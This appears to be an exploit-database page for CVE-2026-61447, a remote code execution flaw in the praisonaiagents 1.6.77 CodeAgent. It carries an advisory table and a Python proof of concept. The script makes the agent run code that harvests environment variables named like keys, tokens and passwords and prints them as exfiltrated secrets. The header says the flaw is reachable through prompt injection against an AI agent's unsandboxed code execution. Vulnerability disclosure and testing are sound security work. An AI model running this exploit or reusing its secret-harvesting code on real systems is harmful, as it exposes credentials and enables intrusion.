PraisonAI praisonaiagents 1.6.77 - Remote Code Execution
ποΈΒ 11 Aug 2026Β 00:00:00Reported byΒ banyamerTypeΒ
Β exploitdbπΒ www.exploit-db.comπΒ 16Β Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2026-61447 | 11 Jul 202613:01 | β | attackerkb | |
| CVE-2026-61447 | 11 Jul 202614:28 | β | circl | |
| CVE-2026-61447 | 11 Jul 202613:01 | β | cve | |
| CVE-2026-61447 PraisonAI before 1.6.78 Remote Code Execution via CodeAgent | 11 Jul 202613:01 | β | cvelist | |
| EUVD-2026-43182 | 11 Jul 202613:01 | β | euvd | |
| CVE-2026-61447 | 11 Jul 202614:16 | β | nvd | |
| PraisonAI CodeAgent 1.6.77 Remote Code Execution | 11 Aug 202600:00 | β | packetstorm | |
| PT-2026-57440 | 11 Jul 202600:00 | β | ptsecurity | |
| Arbitrary Code Injection | 11 Jul 202614:34 | β | snyk | |
| CVE-2026-61447 PraisonAI before 1.6.78 Remote Code Execution via CodeAgent | 11 Jul 202613:01 | β | vulnrichment |
#!/usr/bin/env python3
# Exploit Title: PraisonAI CodeAgent 1.6.77 - Remote Code Execution
# CVE: CVE-2026-61447
# Date: 2026-07-13
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://github.com/MervinPraison/PraisonAI
# Software Link: https://pypi.org/project/praisonaiagents/
# Affected: praisonaiagents <= 1.6.77
# Tested on: praisonaiagents 1.6.77
# Category: Remote Code Execution
# Platform: Linux / Windows / macOS
# Exploit Type: Python Script
# CVSS: 10.0 (Critical)
# Description: The CodeAgent._execute_python() in PraisonAI executes LLM-generated code without sandboxing, AST validation, or import restrictions. This allows full environment secret exfiltration and arbitrary code execution via prompt injection.
# Fixed in: praisonaiagents >= 1.6.78
# Usage:
# python3 exploit.py
#
# Examples:
# python3 exploit.py
#
# Options:
# --
#
# Notes:
# β’ Requires the vulnerable praisonaiagents package installed.
# β’ Demonstrates direct RCE and secret leakage.
#
# How to Use
#
# Step 1:
# pip install praisonaiagents==1.6.77
#
# Step 2:
# python3 exploit.py
def banner():
print(r"""
ββββββββ ββββββ ββββ ββββββ βββ ββββββ ββββ ββββββββββββββββββββ
ββββββββββββββββββββββ βββββββ βββββββββββββββββ βββββββββββββββββββββ
βββββββββββββββββββββββ βββ βββββββ βββββββββββββββββββββββββ ββββββββ
βββββββββββββββββββββββββββ βββββ βββββββββββββββββββββββββ ββββββββ
ββββββββββββ ββββββ ββββββ βββ βββ ββββββ βββ ββββββββββββββ βββ
βββββββ βββ ββββββ βββββ βββ βββ ββββββ ββββββββββββββ βββ
βββ Banyamer Security βββ
""")
banner()
from praisonaiagents.agent.code_agent import CodeAgent
import json
agent = CodeAgent(name="poc-agent")
malicious_code = """
import os
import json
secrets = {k: v for k, v in os.environ.items()
if any(keyword in k.upper() for keyword in
['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'API', 'AUTH'])}
print("=== EXFILTRATED SECRETS ===")
print(json.dumps(secrets, indent=2))
"""
print("Executing malicious LLM-generated code...")
result = agent.execute(malicious_code)
print("\n=== Execution Result ===")
print("STDOUT:", result.get('stdout', ''))
print("STDERR:", result.get('stderr', ''))
print("Return Code:", result.get('returncode', ''))Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Aug 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 410
CVSS 3.110
EPSS0.02226
SSVC